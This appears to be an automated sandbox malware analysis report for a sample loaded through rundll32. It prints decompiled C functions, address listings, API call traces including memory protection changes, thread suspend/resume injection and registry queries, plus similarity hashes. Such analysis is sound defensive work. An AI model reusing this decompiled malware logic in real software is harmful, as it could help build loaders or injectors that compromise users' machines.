                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
                                            • String ID:
                                            • API String ID: 4246211962-0
                                            • Opcode ID: 8d6d4585184b0230685262d96b292d96432a43ed968df675646f86fcb97a16e5
                                            • Instruction ID: 98a9183d5a1fb52f173418c8e7ca4976b07b64d1e658edabdd3535cceb69b415
                                            • Opcode Fuzzy Hash: 8d6d4585184b0230685262d96b292d96432a43ed968df675646f86fcb97a16e5
                                            • Instruction Fuzzy Hash: AB51F572B00314ABEB119BA5DC4DBDE37ACEB08704F0048A7E581D7253E779B9419BD0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB70AE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 22%
                                            			E04AB70AE(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E04AB4DF6(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E04AB4C73(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E04AB4DF6((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x4aba318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                                            0x04ab70b5
                                            0x04ab70bc
                                            0x04ab70c1
                                            0x04ab70c4
                                            0x04ab70cb
                                            0x04ab70ce
                                            0x04ab70d1
                                            0x04ab70d6
                                            0x04ab70db
                                            0x04ab722f
                                            0x04ab7231
                                            0x04ab7233
                                            0x04ab7238
                                            0x04ab7238
                                            0x04ab70e1
                                            0x04ab70e4
                                            0x04ab70e7
                                            0x04ab70e9
                                            0x04ab70e9
                                            0x04ab70ed
                                            0x00000000
                                            0x00000000
                                            0x04ab70f1
                                            0x04ab711d
                                            0x04ab7122
                                            0x04ab7124
                                            0x04ab7124
                                            0x04ab7127
                                            0x04ab712a
                                            0x04ab712a
                                            0x04ab712c
                                            0x00000000
                                            0x04ab70f7
                                            0x04ab70f9
                                            0x04ab7118
                                            0x04ab7118
                                            0x04ab712f
                                            0x04ab712f
                                            0x04ab7130
                                            0x04ab7130
                                            0x04ab7133
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab7133
                                            0x04ab70fd
                                            0x04ab7144
                                            0x04ab7148
                                            0x04ab7222
                                            0x04ab7224
                                            0x04ab7224
                                            0x04ab7225
                                            0x04ab7228
                                            0x00000000
                                            0x04ab7228
                                            0x04ab7151
                                            0x04ab7162
                                            0x04ab7166
                                            0x04ab721e
                                            0x00000000
                                            0x04ab721e
                                            0x04ab716c
                                            0x04ab716f
                                            0x04ab7173
                                            0x04ab7177
                                            0x04ab717c
                                            0x04ab7214
                                            0x04ab7214
                                            0x00000000
                                            0x04ab721a
                                            0x04ab7187
                                            0x04ab7190
                                            0x04ab71a4
                                            0x04ab71ab
                                            0x04ab71c0
                                            0x04ab71c6
                                            0x04ab71ce
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab71d0
                                            0x04ab71d0
                                            0x04ab71d0
                                            0x04ab71d7
                                            0x04ab71df
                                            0x00000000
                                            0x00000000
                                            0x04ab71e1
                                            0x04ab71ea
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab71ec
                                            0x04ab71ee
                                            0x04ab71f1
                                            0x04ab71f1
                                            0x04ab71f4
                                            0x04ab71f8
                                            0x04ab71fb
                                            0x04ab7201
                                            0x04ab7204
                                            0x04ab720b
                                            0x00000000
                                            0x04ab7187
                                            0x04ab7102
                                            0x04ab710a
                                            0x04ab7110
                                            0x04ab7112
                                            0x04ab7112
                                            0x04ab7115
                                            0x04ab7117
                                            0x00000000
                                            0x04ab7117
                                            0x04ab70f1
                                            0x04ab7137
                                            0x04ab713c
                                            0x04ab713e
                                            0x04ab713e
                                            0x04ab7141
                                            0x04ab7141
                                            0x00000000

                                            APIs
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • lstrcpy.KERNEL32(69B25F45,00000020), ref: 04AB71AB
                                            • lstrcat.KERNEL32(69B25F45,00000020), ref: 04AB71C0
                                            • lstrcmp.KERNEL32(00000000,69B25F45), ref: 04AB71D7
                                            • lstrlen.KERNEL32(69B25F45), ref: 04AB71FB
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                                            • String ID:
                                            • API String ID: 3214092121-3916222277
                                            • Opcode ID: a8abda3e34b4c1d2d8a30b586caaf86dd51f5f64de54f3331e312c44e3113d0e
                                            • Instruction ID: 0f24a2f4e3c8698a79e1d8276916d1c034d8a1082c7fa66a1a6ac3b070b49f74
                                            • Opcode Fuzzy Hash: a8abda3e34b4c1d2d8a30b586caaf86dd51f5f64de54f3331e312c44e3113d0e
                                            • Instruction Fuzzy Hash: D551C275A01108EBDF21CF99D4446EDBBB9FF85314F158056E895AF213C7B0AA01DBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB1666 Relevance: 7.6, APIs: 5, Instructions: 96synchronizationCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB1666(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				long _t14;
				void* _t18;
				WCHAR* _t19;
				long _t20;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				WCHAR** _t32;

				_t6 =  *0x4aba310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x4aba348; // 0xb6d5a8
				_t3 = _t8 + 0x4abb87e; // 0x61636f4c
				_t25 = 0;
				_t30 = E04AB4B16(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x4aba34c, 1, 0, _t30);
					E04AB4C73(_t30);
				}
				_t12 =  *0x4aba2fc; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t14 = E04AB2384(_t32, 0); // executed
					_t31 = _t14;
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t18 = E04AB6DB6(); // executed
					if(_t18 != 0) {
						goto L12;
					}
					_t19 = StrChrW( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 =  &(_t19[1]);
					}
					_t20 = E04AB3E6C(0,  *_t32, _t19, 0); // executed
					_t31 = _t20;
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								FindCloseChangeNotification(_t25); // executed
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

















                                            0x04ab1667
                                            0x04ab166e
                                            0x04ab1678
                                            0x04ab167c
                                            0x04ab1682
                                            0x04ab1691
                                            0x04ab1698
                                            0x04ab169c
                                            0x04ab16ae
                                            0x04ab16b0
                                            0x04ab16b0
                                            0x04ab16b5
                                            0x04ab16bc
                                            0x04ab1713
                                            0x04ab1713
                                            0x04ab1719
                                            0x04ab171b
                                            0x04ab171b
                                            0x04ab1720
                                            0x04ab1725
                                            0x04ab1729
                                            0x04ab173b
                                            0x04ab173b
                                            0x04ab173f
                                            0x04ab1745
                                            0x04ab1745
                                            0x00000000
                                            0x04ab16cc
                                            0x04ab16cc
                                            0x04ab16d3
                                            0x00000000
                                            0x00000000
                                            0x04ab16da
                                            0x04ab16e2
                                            0x04ab16e6
                                            0x04ab16ea
                                            0x04ab16ea
                                            0x04ab16f2
                                            0x04ab16f7
                                            0x04ab16fb
                                            0x04ab16ff
                                            0x04ab1754
                                            0x04ab175a
                                            0x04ab175a
                                            0x04ab170d
                                            0x04ab1711
                                            0x04ab1748
                                            0x04ab174a
                                            0x04ab174d
                                            0x04ab174d
                                            0x00000000
                                            0x04ab174a
                                            0x04ab1711
                                            0x00000000
                                            0x04ab16fb

                                            APIs
                                              • Part of subcall function 04AB4B16: lstrlen.KERNEL32(00000005,00000000,69B25F44,00000027,00000000,05629DA0,00000000,?,?,69B25F44,00000005,04ABA00C,4D283A53,?,?), ref: 04AB4B4C
                                              • Part of subcall function 04AB4B16: lstrcpy.KERNEL32(00000000,00000000), ref: 04AB4B70
                                              • Part of subcall function 04AB4B16: lstrcat.KERNEL32(00000000,00000000), ref: 04AB4B78
                                            • CreateEventA.KERNEL32(04ABA34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,04AB2AA1,?,?,?), ref: 04AB16A7
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            • StrChrW.SHLWAPI(04AB2AA1,00000020,61636F4C,00000001,00000000,?,?,00000000,?,04AB2AA1,?,?,?), ref: 04AB16DA
                                            • WaitForSingleObject.KERNEL32(00000000,00004E20,04AB2AA1,00000000,00000000,?,00000000,?,04AB2AA1,?,?,?), ref: 04AB1707
                                            • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,04AB2AA1,?,?,?), ref: 04AB1735
                                            • FindCloseChangeNotification.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,04AB2AA1,?,?,?), ref: 04AB174D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: ObjectSingleWait$ChangeCloseCreateEventFindFreeHeapNotificationlstrcatlstrcpylstrlen
                                            • String ID:
                                            • API String ID: 3294472205-0
                                            • Opcode ID: 547503152241ed5bdb5794f485fd07cf1d913ac36e5cbf52b7afc554ff1f33f3
                                            • Instruction ID: 88ca19cf41e1c332d32c53b868ecc0cb310db3559d50c4885dbec92136283e95
                                            • Opcode Fuzzy Hash: 547503152241ed5bdb5794f485fd07cf1d913ac36e5cbf52b7afc554ff1f33f3
                                            • Instruction Fuzzy Hash: 3D2106726007115BD7315BA89C94AEB73ACEB49B94B050225FEC1EB153DB25EC428BD0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDEEA4 Relevance: 7.6, APIs: 5, Instructions: 67registrymemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEBAC0: RegCreateKeyA.ADVAPI32(80000001,0637B7F0,?), ref: 05DEBAD5
                                              • Part of subcall function 05DEBAC0: lstrlen.KERNEL32(0637B7F0,00000000,00000000,05DF806E,?,?,?,05DD6B9D,00000001,00000000,?), ref: 05DEBAFE
                                            • RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,?,7711D3B0,76EC5520,?,?,?,05DD21C2,?), ref: 05DDEEDC
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDEEF0
                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF0A
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF26
                                            • RegCloseKey.KERNEL32(?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF34
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapQueryValue$AllocateCloseCreateFreelstrlen
                                            • String ID:
                                            • API String ID: 1633053242-0
                                            • Opcode ID: 689adcca93deef5d9859aa64cfd2090f4bcff495fe347e6cd3ed1c553fce4999
                                            • Instruction ID: ae5af1e9db6f39d08d8825a7bfdc8f3042710e8c35777756a1b65ed3466a17e6
                                            • Opcode Fuzzy Hash: 689adcca93deef5d9859aa64cfd2090f4bcff495fe347e6cd3ed1c553fce4999
                                            • Instruction Fuzzy Hash: 561116B6510109BFDF019FA8DC85CAEBF7EFB88254B150467F90297220DB719E919B60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDA0F2 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • VirtualProtect.KERNEL32(00000000,00000000,00000040,05DD1765,?,?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA117
                                            • GetLastError.KERNEL32(?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA11F
                                            • VirtualQuery.KERNEL32(00000000,?,0000001C,?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA136
                                            • VirtualProtect.KERNEL32(00000000,00000000,-2C9B417C,05DD1765,?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA15B
                                            • SetLastError.KERNEL32(?,?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA164
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Virtual$ErrorLastProtect$Query
                                            • String ID:
                                            • API String ID: 148356745-0
                                            • Opcode ID: f5abc3aa4ab1cfa97af7653fdb808f3b1372bdccaa434dff04c508c091f9facb
                                            • Instruction ID: 0b238e0257a6c88f610b8f24353ddebabe295993787108f7e28885514fd50bd4
                                            • Opcode Fuzzy Hash: f5abc3aa4ab1cfa97af7653fdb808f3b1372bdccaa434dff04c508c091f9facb
                                            • Instruction Fuzzy Hash: 9E012572501209AF9F119F99DC458AABBBDFF082607048026FA02D3220EB71DA549BA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 012F236F Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.568634711.00000000012F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_12f0000_rundll32.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID: X
                                            • API String ID: 544645111-3081909835
                                            • Opcode ID: e4223aaaa941ca7609270bea9d228aba8bcdc66d6d3ef9be42c7e8713cb92b5a
                                            • Instruction ID: 3aa78690c621c25c612ebe8b27261358f3d2ddc1ed3bfdc678f89081baad9298
                                            • Opcode Fuzzy Hash: e4223aaaa941ca7609270bea9d228aba8bcdc66d6d3ef9be42c7e8713cb92b5a
                                            • Instruction Fuzzy Hash: B0B1ACB4E00228CFDB58CF58C890B9DFBB1BF48304F1581AAD909AB356D775A985CF41
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB67E2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB67E2(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E04AB6955(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x4aba348; // 0xb6d5a8
				_t4 = _t24 + 0x4abbe30; // 0x56293d8
				_t5 = _t24 + 0x4abbdd8; // 0x4f0053
				_t26 = E04AB427E( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x4aba348; // 0xb6d5a8
						_t11 = _t32 + 0x4abbe24; // 0x56293cc
						_t48 = _t11;
						_t12 = _t32 + 0x4abbdd8; // 0x4f0053
						_t52 = E04AB6203(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x4aba348; // 0xb6d5a8
							_t13 = _t35 + 0x4abbe6e; // 0x30314549
							_t37 = E04AB13F8(_t48, _t50, _t59, _v8, _t52, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x4aba2fc - 6;
								if( *0x4aba2fc <= 6) {
									_t42 =  *0x4aba348; // 0xb6d5a8
									_t15 = _t42 + 0x4abbdba; // 0x52384549
									E04AB13F8(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x4aba348; // 0xb6d5a8
							_t17 = _t38 + 0x4abbe68; // 0x5629410
							_t18 = _t38 + 0x4abbe40; // 0x680043
							_t45 = E04AB3B76(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0x4aba2d8, 0, _t52);
						}
					}
					HeapFree( *0x4aba2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E04AB5147(_t54);
				}
				return _t45;
			}



















                                            0x04ab67e2
                                            0x04ab67f2
                                            0x04ab67f5
                                            0x04ab67fc
                                            0x04ab67fe
                                            0x04ab67fe
                                            0x04ab6801
                                            0x04ab6806
                                            0x04ab680d
                                            0x04ab681a
                                            0x04ab681f
                                            0x04ab6823
                                            0x04ab6831
                                            0x04ab683f
                                            0x04ab6843
                                            0x04ab68d4
                                            0x04ab68d4
                                            0x04ab6849
                                            0x04ab6849
                                            0x04ab684e
                                            0x04ab684e
                                            0x04ab6855
                                            0x04ab6861
                                            0x04ab6863
                                            0x04ab6865
                                            0x04ab6867
                                            0x04ab686e
                                            0x04ab6879
                                            0x04ab6880
                                            0x04ab6882
                                            0x04ab6889
                                            0x04ab688b
                                            0x04ab6892
                                            0x04ab689d
                                            0x04ab689d
                                            0x04ab6889
                                            0x04ab68a2
                                            0x04ab68a7
                                            0x04ab68ae
                                            0x04ab68cc
                                            0x04ab68ce
                                            0x04ab68ce
                                            0x04ab6865
                                            0x04ab68e0
                                            0x04ab68e0
                                            0x04ab68e2
                                            0x04ab68e7
                                            0x04ab68e9
                                            0x04ab68e9
                                            0x04ab68f4

                                            APIs
                                            • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,056293D8,00000000,?,76F1F710,00000000,76F1F730), ref: 04AB6831
                                            • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05629410,?,00000000,30314549,00000014,004F0053,056293CC), ref: 04AB68CE
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04AB6BB4), ref: 04AB68E0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: FreeHeap
                                            • String ID: Uv
                                            • API String ID: 3298025750-4002285713
                                            • Opcode ID: db29038e89a6097dbccbebbc8ffd58df215b451800247e1a195ce45c9881744d
                                            • Instruction ID: 4ace315478b4b6641e9415ede9050fecd5a74e82240e3c7d7321792162ef0735
                                            • Opcode Fuzzy Hash: db29038e89a6097dbccbebbc8ffd58df215b451800247e1a195ce45c9881744d
                                            • Instruction Fuzzy Hash: FC314C32A00218BFEB119BD4DD44EDE7BBCEB48704F140065A680AB163D771BE559BE1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDEAAC Relevance: 6.1, APIs: 4, Instructions: 110threadsynchronizationinjectionCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DDEADA
                                            • ResumeThread.KERNEL32(?,?,00000004,00000004,?,?,?,?,?,00000004,?), ref: 05DDEB64
                                            • WaitForSingleObject.KERNEL32(00000064), ref: 05DDEB72
                                            • SuspendThread.KERNEL32(?), ref: 05DDEB85
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Thread$ObjectResumeSingleSuspendWaitmemset
                                            • String ID:
                                            • API String ID: 3168247402-0
                                            • Opcode ID: 1c818af7b9e435755f67313cf6bec2082c11c44467be8d305126907faae5e969
                                            • Instruction ID: ef90f2ed2fd205e18e999629327ed013a9238a24707ade09f749bbeb46af1ce0
                                            • Opcode Fuzzy Hash: 1c818af7b9e435755f67313cf6bec2082c11c44467be8d305126907faae5e969
                                            • Instruction Fuzzy Hash: 76412972108301AFE721DF64C885E6BFBE9FB88314F04492EFA9586160D731E955CB72
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB1000 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SysAllocString.OLEAUT32(80000002), ref: 04AB105D
                                            • SysAllocString.OLEAUT32(04AB6ECE), ref: 04AB10A1
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB10B5
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB10C3
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: String$AllocFree
                                            • String ID:
                                            • API String ID: 344208780-0
                                            • Opcode ID: 7ec74d695087597f0ffabc00a2fbeb0d729e54edb39445ada98a774aa15084d2
                                            • Instruction ID: 2ab2a36d164e58a243aaebf207fe05b1abbe6a1f089304d8ab7a2ebe097d3a24
                                            • Opcode Fuzzy Hash: 7ec74d695087597f0ffabc00a2fbeb0d729e54edb39445ada98a774aa15084d2
                                            • Instruction Fuzzy Hash: 45312A76900659EFDB00DF98D8D08EE7BB9FF48340B10842AE94697252D735AA81CFE1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB29F2 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 41%
                                            			E04AB29F2(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t20;
				void* _t26;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t20 = E04AB6174(__ecx,  &_v32); // executed
				_t38 = _t20;
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E04AB75C6(_t23);
						}
					}
					return _t38;
				}
				_t26 = E04AB6955(0x40,  &_v16); // executed
				if(_t26 != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x4aba34c, 1, 0,  *0x4aba3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8); // executed
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E04AB737F(_t36); // executed
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E04AB6E20(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E04AB5147(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E04AB1666( &_v32, _t39);
					goto L13;
				}
			}














                                            0x04ab29f2
                                            0x04ab29ff
                                            0x04ab2a05
                                            0x04ab2a06
                                            0x04ab2a07
                                            0x04ab2a08
                                            0x04ab2a09
                                            0x04ab2a0d
                                            0x04ab2a14
                                            0x04ab2a19
                                            0x04ab2a1d
                                            0x04ab2aa5
